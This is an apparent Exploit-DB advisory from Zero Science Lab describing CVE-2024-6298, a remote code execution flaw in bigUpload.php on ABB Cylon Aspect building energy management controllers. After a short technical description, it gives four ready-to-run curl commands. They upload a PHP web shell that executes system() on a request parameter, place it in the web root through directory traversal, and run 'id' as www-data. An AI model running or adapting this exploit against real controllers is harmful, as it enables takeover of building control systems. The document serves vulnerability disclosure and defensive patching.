c773b14d1c
6 changes to exploits/shellcodes/ghdb Mitel mitel-cs018 - Call Data Information Disclosure SAP NetWeaver - 7.53 - HTTP Request Smuggling ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.08.01 - Arbitrary File Delete Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS ProSSHD 1.2 - Denial of Service (DOS)
104 lines
No EOL
5.2 KiB
Text
104 lines
No EOL
5.2 KiB
Text
ABB Cylon Aspect 3.08.01 (bigUpload.php) Remote Code Execution
|
||
|
||
|
||
Vendor: ABB Ltd.
|
||
Product web page: https://www.global.abb
|
||
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
|
||
Firmware: <=3.08.01
|
||
|
||
Summary: ASPECT is an award-winning scalable building energy management
|
||
and control solution designed to allow users seamless access to their
|
||
building data through standard building protocols including smart devices.
|
||
|
||
Desc: The ABB BMS/BAS controller suffers from a remote code execution
|
||
vulnerability. The vulnerable uploadFile() function in bigUpload.php
|
||
improperly reads raw POST data using the php://input wrapper without
|
||
sufficient validation. This data is passed to the fwrite() function,
|
||
allowing arbitrary file writes. Combined with an improper sanitization
|
||
of file paths, this leads to directory traversal, allowing an attacker
|
||
to upload malicious files to arbitrary locations. Once a malicious file
|
||
is written to an executable directory, an authenticated attacker can
|
||
trigger the file to execute code and gain unauthorized access to the
|
||
building controller.
|
||
|
||
Tested on: GNU/Linux 3.15.10 (armv7l)
|
||
GNU/Linux 3.10.0 (x86_64)
|
||
GNU/Linux 2.6.32 (x86_64)
|
||
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
|
||
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
|
||
PHP/7.3.11
|
||
PHP/5.6.30
|
||
PHP/5.4.16
|
||
PHP/4.4.8
|
||
PHP/5.3.3
|
||
AspectFT Automation Application Server
|
||
lighttpd/1.4.32
|
||
lighttpd/1.4.18
|
||
Apache/2.2.15 (CentOS)
|
||
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
|
||
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
|
||
|
||
|
||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||
@zeroscience
|
||
|
||
|
||
Advisory ID: ZSL-2024-5828
|
||
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5828.php
|
||
CVE ID: CVE-2024-6298
|
||
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-6298
|
||
|
||
|
||
21.04.2024
|
||
|
||
--
|
||
|
||
|
||
$ cat project
|
||
|
||
P R O J E C T
|
||
|
||
.|
|
||
| |
|
||
|'| ._____
|
||
___ | | |. |' .---"|
|
||
_ .-' '-. | | .--'| || | _| |
|
||
.-'| _.| | || '-__ | | | || |
|
||
|' | |. | || | | | | || |
|
||
____| '-' ' "" '-' '-.' '` |____
|
||
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
|
||
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
|
||
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
|
||
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
|
||
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
||
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
|
||
|
||
|
||
1.
|
||
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=upload&key=251" \
|
||
> -H "Cookie: PHPSESSID=25131337" \
|
||
> -H "Content-Type: application/x-www-form-urlencoded" \
|
||
> -d "<?php\r\nif ($_GET['j']) {\r\nsystem($_GET['j']);\r\n}\r\n?>"
|
||
|
||
2.
|
||
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=upload&key=251" \
|
||
> -H "Cookie: PHPSESSID=25131337" \
|
||
> –H "Content-Type: application/x-www-form-urlencoded"
|
||
|
||
3.
|
||
$ curl -X POST "http://192.168.73.31/bigUpload.php?action=finish" \
|
||
> -H "Cookie: PHPSESSID=25131337" \
|
||
> -H "Content-Type: application/x-www-form-urlencoded" \
|
||
> -d "key=251&name=../../../../../../../home/MIX_CMIX/htmlroot/ZSL.php"
|
||
|
||
4.
|
||
$ curl http://192.168.73.31/ZSL.php?j=id
|
||
uid=33(www-data) gid=33(www-data) groups=33(www-data) |